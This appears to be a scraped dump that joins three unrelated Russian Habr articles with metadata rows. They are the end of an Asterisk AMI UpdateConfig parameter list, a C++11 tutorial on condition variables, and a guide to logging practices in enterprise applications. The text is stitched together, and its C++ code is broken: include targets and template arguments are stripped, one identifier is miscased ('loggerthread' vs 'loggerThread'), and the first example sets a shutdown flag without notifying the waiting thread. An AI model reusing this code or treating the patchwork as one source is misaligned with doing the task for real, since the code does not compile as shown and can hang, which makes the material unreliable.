Из описания команды, она может динамически обновить конфигурационный файла Астериска. Параметры, которые необходимо задать во время ее вызова следующие:
* SrcFilename: имеет статус обязательного параметра вызова команды UpdateConfig, определяет имя конфигурационного файла из которого следует считать текущую конфигурацию;
* DstFilename: обязательный, имя записываемого конфигурационного файла;
* Reload: необязательный, определяет, должна ли быть выполнена перезагрузка после того, как конфигурация обновится или же задает имя конкретного модуля, который необходимо перегрузить;
* Action-XXXXX: обязательный, действие, которое необходимо предпринять. Это может быть: NewCat, RenameCat, DelCat, Update, Delete или Append;
* Cat-XXXXX: обязательный, имя изменяемой категории;
* Var-XXXXX: необязательный, имя изменяемой переменной;
* Value-XXXXX: необязательный, значение изменяемой переменной;
* Match-XXXXX: необязательный, если задан,является дополнительным параметром, которому должен соответствовать параметр линии;
* ActionID: необязательный, идентификатор, который используется для обозначения ответа на команду.
Привилегии для этой команды нужны такие: config, all.`` | https://habr.com/ru/post/64243/ | null | ru | null |
# Потоки, блокировки и условные переменные в C++11 [Часть 2]
Для более полного понимания этой статьи, рекомендуется прочитать ее [первую часть](http://habrahabr.ru/post/182610/), где основное внимание было уделено потокам и блокировкам, в ней объяснено много моментов (терминов, функций и т.д.), которые без пояснения будут использованы здесь.
В данной статье будут рассмотрены условные переменные…
#### Условные переменные
Помимо описанных [ранее](http://habrahabr.ru/post/182610/) способов синхронизации, C++11 предоставляет поддержку условных переменных, которые позволяют блокировать один или более потоков, пока либо не будет получено уведомление от другого потока, либо не произойдет ~~мифическое~~ [spurious wakeup](http://en.wikipedia.org/wiki/Spurious_wakeup) («ложное/случайное пробуждение»).
Есть две реализации условных переменных, доступных в заголовке :
* [condition\_variable](http://en.cppreference.com/w/cpp/thread/condition_variable): требует от любого потока перед ожиданием сначала выполнить `std::unique_lock`
* [condition\_variable\_any](http://en.cppreference.com/w/cpp/thread/condition_variable_any): более общая реализация, которая работает с любым типом, который можно заблокировать. Эта реализация может быть более дорогим (с точки зрения ресурсов и производительности) для использования, поэтому ее следует использовать только если необходима те дополнительные возможности, которые она обеспечивает
Опишу, как работают условные переменные:
* Должен быть хотя бы один поток, ожидающий, пока какое-то условие станет истинным. Ожидающий поток должен сначала выполнить `unique_lock`. Эта блокировка передается методу `wait()`, который освобождает мьютекс и приостанавливает поток, пока не будет получен сигнал от условной переменной. Когда это произойдет, поток пробудится и снова выполнится `lock`.
* Должен быть хотя бы один поток, сигнализирующий о том, что условие стало истинным. Сигнал может быть послан с помощью [notify\_one()](http://en.cppreference.com/w/cpp/thread/condition_variable/notify_one), при этом будет разблокирован один (любой) поток из ожидающих, или [notify\_all()](http://en.cppreference.com/w/cpp/thread/condition_variable/notify_all), что разблокирует все ожидающие потоки.
* В виду некоторых сложностей при создании пробуждающего условия, которое может быть предсказуемых в многопроцессорных системах, могут происходить ложные пробуждения (**spurious wakeup**). Это означает, что поток может быть пробужден, даже если никто не сигнализировал условной переменной. Поэтому необходимо еще проверять, верно ли условие пробуждение уже после то, как поток был пробужден. Т.к. ложные пробуждения могут происходить многократно, такую проверку необходимо организовывать в цикле.
Код ниже демонстрирует пример использования условной переменной, для синхронизации потоков: во время работы некоторых потоков (назовем их «рабочими») могут произойти ошибку, при этом они помещаются в очередь. Поток «регистратора» обрабатывает эти ошибки (получая их из очереди) и печатает их. «Рабочие» сигнализируют «регистратору», когда происходит ошибка. Регистратор ожидает сигнала условной переменной. Чтобы избежать ложных пробуждений, ожидание происходит в цикле, где проверяется булевское условие.
```
#include
#include
#include
#include
#include
#include
std::mutex g\_lockprint;
std::mutex g\_lockqueue;
std::condition\_variable g\_queuecheck;
std::queue g\_codes;
bool g\_done;
bool g\_notified;
void workerFunc(int id, std::mt19937 &generator)
{
// стартовое сообщение
{
std::unique\_lock locker(g\_lockprint);
std::cout << "[worker " << id << "]\trunning..." << std::endl;
}
// симуляция работы
std::this\_thread::sleep\_for(std::chrono::seconds(1 + generator() % 5));
// симуляция ошибки
int errorcode = id\*100+1;
{
std::unique\_lock locker(g\_lockprint);
std::cout << "[worker " << id << "]\tan error occurred: " << errorcode << std::endl;
}
// сообщаем об ошибке
{
std::unique\_lock locker(g\_lockqueue);
g\_codes.push(errorcode);
g\_notified = true;
g\_queuecheck.notify\_one();
}
}
void loggerFunc()
{
// стартовое сообщение
{
std::unique\_lock locker(g\_lockprint);
std::cout << "[logger]\trunning..." << std::endl;
}
// до тех пор, пока не будет получен сигнал
while(!g\_done)
{
std::unique\_lock locker(g\_lockqueue);
while(!g\_notified) // от ложных пробуждений
g\_queuecheck.wait(locker);
// если есть ошибки в очереди, обрабатывать их
while(!g\_codes.empty())
{
std::unique\_lock locker(g\_lockprint);
std::cout << "[logger]\tprocessing error: " << g\_codes.front() << std::endl;
g\_codes.pop();
}
g\_notified = false;
}
}
int main()
{
// инициализация генератора псевдо-случайных чисел
std::mt19937 generator((unsigned int)std::chrono::system\_clock::now().time\_since\_epoch().count());
// запуск регистратора
std::thread loggerThread(loggerFunc);
// запуск рабочих
std::vector threads;
for(int i = 0; i < 5; ++i)
threads.push\_back(std::thread(workerFunc, i+1, std::ref(generator)));
for(auto &t: threads)
t.join();
// сообщаем регистратору о завершении и ожидаем его
g\_done = true;
loggerthread.join();
return 0;
}
```
Выполнение этого кода даст примерно следующий результат (результат каждый раз будет разным, т.к. рабочие потоки работают (точнее спят) случайные интервалы времени):
```
[logger] running...
[worker 1] running...
[worker 2] running...
[worker 3] running...
[worker 4] running...
[worker 5] running...
[worker 1] an error occurred: 101
[worker 2] an error occurred: 201
[logger] processing error: 101
[logger] processing error: 201
[worker 5] an error occurred: 501
[logger] processing error: 501
[worker 3] an error occurred: 301
[worker 4] an error occurred: 401
[logger] processing error: 301
[logger] processing error: 401
```
У метода `wait`, обозначенного выше, есть две перегрузки:
* та, что использует только `unique_lock`; он (метод) блокирует поток и добавляет его в очередь потоков, ожидающих сигнала от этой условной переменной; поток пробуждается, когда будет получен сигнал от условной переменной или в случае ложного пробуждения.
* та, что в дополнении к `unique_lock`, принимает предикат, используемый в цикле до тех пор, пока он не вернет `false`; эта перегрузка может использоваться, чтобы избежать ложных пробуждений. В общем случае это эквивалентно такому циклу:
```
while(!predicate())
wait(lock);
```
Таким образом, используя вторую перегрузку, можно избежать использования булевского флага `g_notified` в примере выше:
```
void workerFunc(int id, std::mt19937 &generator)
{
// стартовое сообщение
{
std::unique_lock locker(g\_lockprint);
std::cout << "[worker " << id << "]\trunning..." << std::endl;
}
// симуляция работы
std::this\_thread::sleep\_for(std::chrono::seconds(1 + generator() % 5));
// симуляция ошибки
int errorcode = id\*100+1;
{
std::unique\_lock locker(g\_lockprint);
std::cout << "[worker " << id << "]\tan error occurred: " << errorcode << std::endl;
}
// сообщаем об ошибке
{
std::unique\_lock locker(g\_lockqueue);
g\_codes.push(errorcode);
g\_queuecheck.notify\_one();
}
}
void loggerFunc()
{
// стартовое сообщение
{
std::unique\_lock locker(g\_lockprint);
std::cout << "[logger]\trunning..." << std::endl;
}
// до тех пор, пока не будет получен сигнал
while(!g\_done)
{
std::unique\_lock locker(g\_lockqueue);
g\_queuecheck.wait(locker, [&](){return !g\_codes.empty();});
// если есть ошибки в очереди, обрабатывать их
while(!g\_codes.empty())
{
std::unique\_lock locker(g\_lockprint);
std::cout << "[logger]\tprocessing error: " << g\_codes.front() << std::endl;
g\_codes.pop();
}
}
}
```
В дополнении к перегруженному методу `wait()`, есть еще два похожих метода с такой же перегрузкой для предиката:
* [wait\_for](http://en.cppreference.com/w/cpp/thread/condition_variable/wait_for): блокирует поток до тех пор, пока не будет получен сигнал условной переменной
* [wait\_until](http://en.cppreference.com/w/cpp/thread/condition_variable/wait_until): блокирует поток до тех пор, пока не будет получен сигнал условной переменной или не будет достигнут определенный момент времени
Перегрузка этих методов без предиката возвращает [cv\_status](http://en.cppreference.com/w/cpp/thread/cv_status), показывающий, произошел ли таймаут, или пробуждение произошло из-за сигнала условной переменной, или это ложное пробуждение.
Std также предоставляет функцию [notify\_all\_at\_thread\_exit](http://en.cppreference.com/w/cpp/thread/notify_all_at_thread_exit), которая реализует механизм уведомления других потоков о том, что данных поток завершил свою работу, включая уничтожение всех объектов `thread_local`. Ожидание потоков механизмом, отличным от `join`, может привести к неправильному поведению, когда `thread_locals` уже были использованы, а их деструкторы могли вызываться после того, как поток был пробужден или после того, как уже завершился (см. [N3070](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2010/n3070.html) и [N2880](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2009/n2880.html). Как правило, вызов этой функции должен произойти непосредственно до того, как поток начнет свое существование. Ниже приведен пример, как `notify_all_at_thread_exit` может использоваться с условными переменными для синхронизации двух потоков:
```
std::mutex g_lockprint;
std::mutex g_lock;
std::condition_variable g_signal;
bool g_done;
void workerFunc(std::mt19937 &generator)
{
{
std::unique_lock locker(g\_lockprint);
std::cout << "worker running..." << std::endl;
}
std::this\_thread::sleep\_for(std::chrono::seconds(1 + generator() % 5));
{
std::unique\_lock locker(g\_lockprint);
std::cout << "worker finished..." << std::endl;
}
std::unique\_lock lock(g\_lock);
g\_done = true;
std::notify\_all\_at\_thread\_exit(g\_signal, std::move(lock));
}
int main()
{
std::mt19937 generator((unsigned int)std::chrono::system\_clock::now().time\_since\_epoch().count());
std::cout << "main running..." << std::endl;
std::thread worker(workerFunc, std::ref(generator));
worker.detach();
std::cout << "main crunching..." << std::endl;
std::this\_thread::sleep\_for(std::chrono::seconds(1 + generator() % 5));
{
std::unique\_lock locker(g\_lockprint);
std::cout << "main waiting for worker..." << std::endl;
}
std::unique\_lock lock(g\_lock);
while(!g\_done) // против ложных пробуждений
g\_signal.wait(lock);
std::cout << "main finished..." << std::endl;
return 0;
}
```
Если worker заканчивает свою работу перед потоком main, то результат будет таким:
```
main running...
worker running...
main crunching...
worker finished...
main waiting for worker...
main finished...
```
Если поток main заканчивает свою работу перед потоком worker, то результат будет таким:
```
main running...
worker running...
main crunching...
main waiting for worker...
worker finished...
main finished...
```
#### В качестве заключения
Стандарт C++11 позволяет разработчикам C++ писать многопоточный код стандартным, платформонезависимым способом. Эта статья — всего лишь «пробежка» по потокам и механизмам синхронизации от std. Заголовок предоставляет класс с тем же именем (и много дополнительных функций), представляющий потоки. Заголовок обеспечивает реализацию нескольких мьютексов и «оберток» для синхронизации доступа к потокам. Заголовок предоставляет две реализации условных переменных, которые позволяют блокировать один или более потоков, до получение уведомления от другого потока или до ложного пробуждения. Для более подробной информации и понимания сути дела, конечно же, рекомендуется прочитать дополнительную литературу :) | https://habr.com/ru/post/182626/ | null | ru | null |
# Лучшие методики журналирования enterprise-приложений (с точки зрения инженера поддержки)
Журналы приложений раскрывают информацию о внешних и внутренних событиях, которые видит приложение в ходе исполнения. Когда при деплое возникает баг, взлом или аномалия, журналы — самое полезное и надёжное доказательство для проведения анализа причин инцидента.
Давайте разберемся, как писать в журнал полезные сообщения, которые всем понравятся.
1. Что журналировать
--------------------
### Входящие и исходящие сообщения
Если компоненты взаимодействуют друг с другом с помощью сообщений, то нужно записывать входящие и исходящие сообщения с указанием URL’ов конечных точек API, параметры запросов, исходные и промежуточные IP запросов, заголовки запросов, информацию об авторе, тела запросов и ответов, бизнес-контекст, временные метки и этапы внутренней обработки.
Очень важно, чтобы каждому сообщению был присвоен уникальный идентификатор (обычно генерируемый на уровне менеджера API или сервиса). Это нужно для отслеживания обмена сообщениями между сервисами в системе.
### Вызов сервисов и функций
При вызове сервиса или функции желательно подробнее журналировать их контекст, в основном для отладки (используйте TRACE или DEBUG). Эти журналы помогут в расследовании проблем, связанных с бизнес-логикой, особенно при отсутствии привилегий по прикреплению отладчика к приложению (например, при развёртывании в тестовое, staging или pre-prod-окружение).
### Действия пользователей и бизнес-статистика
У каждого приложения есть уникальные бизнес-сценарии и пользовательские маршруты (user journey), которые дают много информации профильным специалистам. Например, не слишком ли долго выполнялась определённая транзакция, или не застревают ли пользователи на какой-то функциональности — всё это очень важные данные с точки зрения пользовательского опыта. Иная информация, относящаяся к бизнесу, — количество транзакций и активных пользователей, а также их этапы — важна для поиска причинно-следственных связей, и даже может применяться в бизнес-анализе.
### Операции с данными (журнал аудита)
По соображениям безопасности и соблюдения требований регулятора в большинстве enterprise-приложений требуется вести отдельные журналы по операциям со всей важной информацией, такой как идентификаторы доступа (пользователей и систем), точные экземпляры сервисов и использованные привилегии ролей, временные метки, запросы на данные, слепки предыдущего и нового состояния изменённых данных (diff). Журнал аудита должен фиксировать все операции с данными (доступ, импорт, экспорт и т. д.), а также CRUD-операции (создание, чтение, обновление, удаление), выполненные пользователями, иными системами и сервисами.
### Системные события
К ним относится информация о поведении (запусках, остановках, перезапусках и событиях, связанных с безопасностью), переходных режимах (холодный, разогрев, горячий), межсервисному взаимодействию (handshake, статусы установки соединения — подключено, отключено, переподключено, повторные попытки), идентификаторы экземпляров сервисов, активно обслуживающие API, активно прослушивающие диапазоны IP и портов, загруженные конфигурации (первоначальные загрузки и динамические обновления), общее состояние сервисов, а также всё, что поможет понять поведение системы.
### Статистика производительности
Усердие — прекрасная характеристика вычислительных устройств, но они могут работать не идеально. В любое время могут возникнуть проблемы с производительностью или внезапные неожиданные ухудшения обслуживания (в основном из-за необработанных ошибок и повреждённых данных). Чтобы их определить, всегда рекомендуется публиковать статистику общего состояния и производительности системы. Она может содержать информацию вроде счётчиков вызовов API (успешно обслуженных и сбойных), сетевую задержку, среднюю длительность roundtrip’ов, потребление памяти и прочую специфическую для приложения информацию (обычно определяется бизнес-контекстом).
### Угрозы и уязвимости
Раскрытие угроз и уязвимостей с помощью runtime’a приложения и журнала — это искусство, которым должен овладеть любой разработчик enterprise-ПО. Обычно взломы и сбои не происходят внезапно. Чаще всего есть признаки, которые сначала никто не замечает. Поэтому нужно всегда журналировать подозрительную человеческую активность (например, ошибочные попытки аутентификации и верификации с приложением всей низкоуровневой информации вроде использованных сетей, источников запросов, пользовательских ролей и привилегий), а также поведение системы (например, рост пиков в паттернах потребления ресурсов, высокую нагрузку на веб-серверы, случайные сбои сервисов). Когда вы замечаете подозрительное событие, убедитесь, что журналы содержат всю связанную с ним информацию. В идеале, чтобы это была full-stack-трассировка со значениями параметров и дополнительной информацией, полученной из контекста приложения.
2. Что не нужно журналировать
-----------------------------
### Информацию личного порядка
Почти все законы, регулирующие вопросы приватности (например, GDPR, CCPA) прямо рекомендуют разработчикам не журналировать информацию, позволяющую установить личность. Сюда относятся ФИО, ники, пол, день рождения, почтовый адрес, электронную почту, телефонные номера, номер социального страхования и номера кредитных карт.
### Названия компаний и контактную информацию
Убедитесь, что вы не записываете имена компаний, информацию о сотрудниках, клиентах, поставщиках, а также контактную информацию компании и отдельных людей. Журнал никогда не должен раскрывать деловые взаимосвязи и операций с третьими сторонами. Для отслеживания конкретных транзакций используйте вместо настоящих названий идентификаторы событий, сгенерированные системой, и передавайте их другим сервисам.
### Финансовые данные (банковские счета, реквизиты банковских карт, пересылаемые суммы и т. д.)
По закону все финансовые данные должны быть полностью убраны или замаскированы. Раскрытие такой информации в журналах легко может привести к серьёзному судебному иску (вплоть до уголовной ответственности). Избегайте этого всеми способами.
### Пароли, ключи безопасности и секреты, токены аутентификации
Учётные данные и токены аутентификации считаются конфиденциальной информацией, поэтому их наличие в журналах поможет злоумышленникам легко найти бреши в системе. Поэтому не допускайте эти данные в журналы.
Примечание: вам легко будет определять, какую информацию нужно скрыть от журналов, если вы добавите в каждое поле атрибут, определяющий уровень видимости (например, show, mask, hide, encrypt). Если у вас есть такой механизм, то вы сможете менять видимость полей, просто обновляя свойства в конфигурации. Это хорошее решение в тех случаях, когда нужно журналировать какую-нибудь пользовательскую информацию в небоевых окружениях, особенно для тестирования и отладки. Или можно написать парсеры, которые фильтруют журналы и обрабатывают конфиденциальные поля в соответствии с заранее прописанными для этого окружения инструкциями.
3. Лучшие методики
------------------
### Знайте, когда нужно использовать тот или иной уровень журналирования
Уровень журналирования используется для обозначения серьёзности каждого элемента системы. В большинстве фреймворков для журналирования есть такие уровни:
* **FATAL**: очень серьёзные ошибки, которые наверняка приводят к прерыванию приложения. Обычно это заканчивается серьезными сбоями.
* **ERROR**: ошибки, с которыми приложение ещё может продолжить работу, но с ухудшением определённых возможностей.
* **WARN**: менее опасные события по сравнению с ошибками. Обычно не приводят к ухудшению возможностей или полному сбою приложения. Но это всё ещё важные события, которые необходимо расследовать.
* **INFO**: важные баннеры событий и информационные сообщения в поведении приложения.
* **DEBUG**: специфическая и подробная информация, обычно используемая в отладке. Эти журналы помогают нам путешествовать по коду.
* **TRACE**: самые низкоуровневые данные, вроде трассировок стека, которые содержат больше всего информации об определённом событии или контексте. Эти журналы помогают исследовать значения переменных и полные стеки ошибок.
В Linux Syslog есть и более серьёзные уровни, такие как Emergency, Alert, Critical, Error, Warning, Notice, Informational и Debug.
Вне зависимости от сложности и глубины каждого уровня журналирования, мы должны корректно настраивать их в своём коде, чтобы предоставлять оптимальное количество информации в каждом сценарии. Например, все данные, используемые разработчиками для отладки и технического анализа, должны идти на уровнях DEBUG или TRACE, а баннеры с системными данными опускаются ниже INFO.
### Используйте английский язык
Некоторые инструменты и консоли не поддерживают вывод и хранение журналов с определёнными Unicode-символами. Поэтому локализация и прочие улучшения могут доставить трудности. Придерживайтесь английского языка и всегда используйте для записи сообщений широко поддерживаемый набор символов.
```
2020-11-11 13:52:18 DEBUG App:36 - Loading adapters..
2020-11-11 13:52:21 DEBUG Adapters:10 - Loading adapter docs/v1
2020-11-11 13:52:22 DEBUG Adapters:16 - Loading adapter mongo/v1
2020-11-11 13:52:26 DEBUG Docs:38 - docs adapter initialized
2020-11-11 13:52:27 DEBUG Mongo:38 - mongo adapter initialized
2020-11-11 13:52:22 DEBUG Adapters:20 - Successfully loaded all
```
### Добавляйте удобные для разработчиков сообщения (краткие и содержательные)
Если журналировать слишком мало, но мы не сможем получить нужную информацию для воссоздания контекста каждого важного события. А если журналировать слишком много, то это ухудшит производительность: запись огромного файла журнала увеличит операции ввода-вывода и потребление ресурсов дискового хранилища. Если файловая система не поддерживает его, это снизит общую производительность системы.
Для оптимизации сообщений вам необходимо чёткое понимание функциональных и нефункциональных ожиданий от системы и планирование нужного качества и количества сообщений. Каждый журнал должен быть содержательным и соответствующим контексту: всегда пишите кратко и по делу.
```
2020-11-11 13:52:27 DEBUG Users:18 - Successfully created new user (RecordID: 5f5a0d594d17e22b848ee570)2020-11-11 13:52:27 ERROR Users:34 - Failed to update DB (E: inactive user, RecordID: 5f5a0d594d17e22b848ee570)
```
### Создайте справочные идентификаторы, псевдонимы и упрощённые шаблоны для часто используемых и длинных сообщений
Вместо того, чтобы каждый раз записывать полное описание, попробуйте создать справочные идентификаторы или упрощённые шаблоны, чтобы представлять в журнале длинные повторяющиеся описания. Это уменьшает общее количество и длину сообщений, а также повышает гибкость в сокрытии определённой информации. Например, вместо того, чтобы описывать в текстовом журнале описание уязвимости, лучше использовать псевдоним или идентификатор, чтобы только профильные специалисты могли разобраться в актуальном сценарии.
```
2020-11-11 13:52:27 ERROR DB:22 - Failed to write (E:ORA-01017)// ORA-01017 denotes "invalid username/password; logon denied" error message
```
### Используйте корректные временные метки
Временные метки позволяют понять последовательность событий, они необходимы для отладки и анализа. При фиксировании времени рекомендуется использовать наиболее подробные значения (например, на уровне милли- или микросекунд), чтобы легче было определять смежные события. Также убедитесь, что временные метки стоят в начале сообщения в формате yyyy-mm-dd HH:mm:ss. Всегда указывайте часовой пояс, если не используете на сервере время по умолчанию (UTC).
```
// with default server time (UTC)2020-11-11 13:52:12 INFO XYZ Integration API Manager v2.0.0// with timezone (e.g. PST - Pacific Standard Time)2020-11-11 13:52:12PST INFO XYZ Integration API Manager v2.0.0
```
### Указывайте источник или происхождение журнальных данных (для DEBUG, TRACE, ERROR)
Это очень полезно для чёткого определения места, которое привело к соответствующему сообщению. Некоторые фреймворки для журналирования позволяют указывать источники на самом подробном уровне (вплоть до название файлов с номерами строк), но чаще всего достаточно упоминания только класса, функции или названия файла.
```
2020-11-11 13:52:12 INFO app - XYZ Integration API Manager v2.0.0
2020-11-11 13:52:15 INFO app - Loading configurations..
2020-11-11 13:52:18 INFO app - *** InstanceID APIM_V2_I02
2020-11-11 13:52:18 INFO app — *** BaseURL http://10.244.2.168:3000
2020-11-11 13:52:19 INFO app - *** LogLevel 05 (DEBUG)
2020-11-11 13:52:12 DEBUG App:22 - Initializing Swagger UI..
2020-11-11 13:52:14 DEBUG App:28 - Generating schemata..
2020-11-11 13:52:14 DEBUG App:30 - Initializing REST services..
2020-11-11 13:52:15 DEBUG App:32 - Generating documentation..
2020-11-11 13:52:18 DEBUG App:36 - Loading adapters..
2020-11-11 13:52:21 DEBUG Adapters:10 - Loading adapter docs/v1
2020-11-11 13:52:22 DEBUG Adapters:16 - Loading adapter mongo/v1
2020-11-11 13:52:26 DEBUG Docs:38 - docs adapter initialized
2020-11-11 13:52:27 DEBUG Mongo:38 - mongo adapter initialized
2020-11-11 13:52:22 DEBUG Adapters:20 - Successfully loaded all
2020-11-11 13:52:31 INFO app - Started listening...
```
### Каждый журнал должен быть уникален в рамках системы
Большинство новичков совершают одну и ту же ошибку — копипастят образец сообщения в разных файлах, собирая финальный журнал из одинаковых строк, приходящих из разных частей системы. В этом случае трудно отследить конкретное место, которое вызвало это событие. Если набор слов нельзя менять, то хотя бы упомяните в сообщении источник, чтобы строки в финальном файле отличались друг от друга. Кроме того, если журналирование обрабатывается родительским классом, то отправляйте при инициализации идентификатор и применяйте его для записи сообщений о поведении дочерних классов.
```
2020-11-11 13:52:18 DEBUG App:36 - Loading adapters..
2020-11-11 13:52:21 DEBUG Adapters:10 - Loading adapter docs/v1
2020-11-11 13:52:22 DEBUG Adapters:16 - Loading adapter mongo/v1
2020-11-11 13:52:26 DEBUG Docs:38 - docs adapter initialized
2020-11-11 13:52:27 DEBUG Mongo:38 - mongo adapter initialized
2020-11-11 13:52:22 DEBUG Adapters:20 - Successfully loaded all
```
### Добавьте в сообщение отслеживаемый идентификатор или токен сообщения
Когда событие или сообщение попадает в систему, ему обычно присваивается уникальный идентификатор. Его можно передавать на другие этапы обработки, чтобы отслеживать движение события по системе, это полезно для отладки, конкурентной обработки и операций, связанных с данными. В идеале, в системе должен быть уникальный идентификатор события в рамках всех модулей и сервисов.
```
[87d4s-a98d7-9a8742jsd] Request Body: {
"request_id": "87d4s-a98d7-9a8742jsd",
"app_id": "TX001",
"option_val": "IBM",
"req_type_id": "0013",
"data": {...........}
[87d4s-a98d7-9a8742jsd] Sending request to RefData: href="http://10.244.2.168:8280/v1
```
### Указывайте соответствие идентификаторов в точках перехода
В определённых случаях, особенно при передаче события из одной системы в другую, идентификаторы меняются в соответствии с принятым в другой системе соглашением. В таких точках перехода нужно отдельным сообщением явно указывать соответствие старого и нового идентификатора, с добавлением необходимого контекста.
```
[1000508] ***** Incoming request from 10.244.2.168:3000 *****
[1000508] Origin Id: 87d4s-a98d7-9a8742jsd -> System ID: 1000508
[1000508] Transaction successfully added to Rabbit Queue
```
### Указывайте идентификаторы всех экземпляров сервиса
Большинство enterprise-систем являются распределёнными вычислительными платформами, в которых присутствует много экземпляров одних и тех же сервисов с разнообразными конфигурациями приложения, ресурсами, версиями и сетевыми свойствами. Рекомендуется присвоить экземплярам идентификаторы и использовать их при межсервисном взаимодействии.
```
2020-11-11 13:52:12 INFO app - XYZ Integration API Manager v2.0.0
2020-11-11 13:52:15 INFO app - Loading configurations..
2020-11-11 13:52:18 INFO app - *** InstanceID APIM_V2_I02
2020-11-11 13:52:18 INFO app — *** BaseURL http://10.244.2.168:3000
2020-11-11 13:52:19 INFO app - *** LogLevel 05 (DEBUG)
```
### Настройте активный уровень журналирования
Активный уровень журналирования нужно менять в зависимости от окружения развёртывания. Для production рекомендуется выводить журналы вплоть до уровня INFO. В других окружениях журналы выводятся до уровня DEBUG или TRACE, в зависимости от степени подробности, которая нужна командам разработки и эксплуатации.
```
// Active Log Level = DEBUG2020-11-11 13:52:12 INFO app - XYZ Integration API Manager v2.0.0
2020-11-11 13:52:15 INFO app - Loading configurations..
2020-11-11 13:52:18 INFO app - *** InstanceID APIM_V2_I02
2020-11-11 13:52:18 INFO app — *** BaseURL http://10.244.2.168:3000
2020-11-11 13:52:19 INFO app - *** LogLevel 05 (DEBUG)
2020-11-11 13:52:12 DEBUG App:22 - Initializing Swagger UI..
2020-11-11 13:52:14 DEBUG App:28 - Generating schemata..
2020-11-11 13:52:14 DEBUG App:30 - Initializing REST services..
2020-11-11 13:52:15 DEBUG App:32 - Generating documentation..
2020-11-11 13:52:18 DEBUG App:36 - Loading adapters..
2020-11-11 13:52:21 DEBUG Adapters:10 - Loading adapter docs/v1
2020-11-11 13:52:22 DEBUG Adapters:16 - Loading adapter mongo/v1
2020-11-11 13:52:26 DEBUG Docs:38 - docs adapter initialized
2020-11-11 13:52:27 DEBUG Mongo:38 - mongo adapter initialized
2020-11-11 13:52:22 DEBUG Adapters:20 - Successfully loaded all
2020-11-11 13:52:31 INFO app - Started listening...// Active Log Level = INFO2020-11-11 13:52:12 INFO app - XYZ Integration API Manager v2.0.0
2020-11-11 13:52:15 INFO app - Loading configurations..
2020-11-11 13:52:18 INFO app - *** InstanceID API_V2_I02
2020-11-11 13:52:18 INFO app — *** BaseURL http://10.244.2.168:3000
2020-11-11 13:52:19 INFO app - *** LogLevel 04 (INFO)
2020-11-11 13:52:31 INFO app - Started listening...
```
### Предоставляйте достаточный контекст для ошибок и сбоев
Ошибки и сбои требуют самого тщательного расследования. Для этого приложение должно предоставлять профильным специалистам необходимую информацию, а также технологический и бизнес-контекст. Например, если запрос или сообщение не удалось обработать, то в дополнение к ошибке очень полезно журналировать и тело сбойного запроса.
```
[1000508] ***** Incoming request from 10.244.2.168:3000 *****[1000508] Origin Id: 87d4s-a98d7-9a8742jsd -> System ID: 1000508[1000508] Failed to validate msg body (E: Uncaught ReferenceError: missing params - option_val)[1000508] Failed Message: {
"request_id": "87d4s-a98d7-9a8742jsd",
"app_id": "TX001",
"req_type_id": "0013",
"data": {...........}
}
```
### Подтверждайте доказательствами операции с данными (не предполагайте!)
При каждой операции с данными не принимайте на веру успешность её выполнения. Всегда проверяйте конечное состояние с помощью доказательств. Например, когда вы создаёте, обновляете или удаляете запись в базе данных, она возвращает счётчик изменённых записей и саму обновлённую запись. Всегда выполняйте проверку ожидаемого счётчика или результата. Другой пример: когда вы вставляете запись в структуру данных (например, в очередь), то проверяйте, увеличился ли её размер. Предположим, в вашей системе используются конкурентные операции, но очередь их не поддерживает. Тогда вы можете терять какие-то записи, и единственный способ обнаружить такие скрытые ошибки в коде — это проверка длины.
```
DEBUG BatchWriter:28 - Successfully connected to DB. Trying to insert 24 accounts...DEBUG BatchWriter:35 - Successfully inserted 24 accounts. Total DB rows affected: 24
```
### Шифруйте или маскируйте конфиденциальные данные
Обычно закон требует маскировать и/или шифровать конфиденциальную информацию пользователей и внутренних систем. В зависимости от вашей отрасли и места работы могут меняться и требования регуляторов. Выясните все нюансы и реализуйте в приложении корректные процедуры. В некоторых случаях перед началом эксплуатации вам может потребоваться представить стратегию журналирования службе безопасности и получить их утверждение или сертификат.
```
[1000508] ***** Incoming request from 10.244.2.168:3000 *****[1000508] Origin Id: 87d4s-a98d7-9a8742jsd -> System ID: 1000508[1000508] Request Body: {
”user_id”:”XXXXXXXXXX”,
”personal_details”:{
”firstName”:”XXXXXXXXXX”,
”lastName”:”XXXXXXXXXX”,
”DOB”:”XXXXXXXXXX”,
”gender”:”Male”,
”proffessional”:”Software Architect”,
”industry”:”IT”,
”SSN”:”XXXXXXXXXX”
},
”address_history”:[
{”streetAdress”:”Street No 1″,”zipcode”:”XXXXX”,”state”:”CA”},
{”streetAdress”:”Street No 2″,”zipcode”:”XXXXX”,”state”:”NY”},
{”streetAdress”:”Street No 2″,”zipcode”:”XXXXX”,”state”:”AL”}
],
”card_info”:[
{”type”:”amex″,”card_number”:”XXXXXXXXX”,”credit_limit”:”XXXXX”},
{”type”:”visa″,”card_number”:”XXXXXXXXX”,”credit_limit”:”XXXXX”}
]
}
```
### Настройте именование файлов журналов, политики ротации, размер хранилищ и процедуры резервного копирования
Если вы пишете журналы в файлы, то убедитесь, что они хранятся на отдельном диске, который никак не влияет на работающее приложение (например, можно выделить том на удалённом сервере и прикрепить его к серверу приложений). Также выясните частоту журналирования и характер увеличения файлов. Убедитесь, что у вас есть политика ротации журналов с корректными соглашениями по наименованиям (например, при создании к названию добавляется временная метка), чтобы поддерживать идеальный размер и количество файлов. Также у вас должен быть механизм резервного копирования старых журналов в безопасное место, и механизм регулярной очистки хранилищ. В зависимости от вашей отрасли можно настроить резервное копирование по времени (обычно каждые несколько месяцев или лет), с уничтожением всех предыдущих файлов в конце периода.
```
[ec2-user@ip-XXX-XX-X-XXX logs]$ ls
..
APIM_V2_I02-2020-11-20_04:38:43.log
APIM_V2_I02-2020-11-23_02:05:35.log
APIM_V2_I02-2020-11-24_04:38:17.log
APIM_V2_I02-2020-11-27_03:28:37.log
APIM_V2_I02-2020-11-27_12:06:45.log
...
```
4. Дополнительные рекомендации
------------------------------
### Используйте центральный агрегатор журналов
Очень распространённая практика среди разработчиков enterprise-приложений — создание центрального доступного сервера или места для сбора журналов. Обычно такие агрегаторы отслеживают журналы не только приложений, но также устройств и операционных систем (например, Linux Syslog), сети, сетевых экранов, баз данных и т. д. К тому же они отделяют файлы журналов от серверов приложений и позволяют хранить журналы в более защищённых, упорядоченных и эффективных форматах более длительное время. В некоторых отраслях (например, банковской и финансовой) необходимо хранить журналы как в локальном, так и в центральном хранилище, чтобы злоумышленники не могли получить доступ к обоим местам и одновременно удалить доказательства своей деятельности. Так что избыточность данных и их несоответствие между двумя хранилищами могут помочь заметить проникновения.
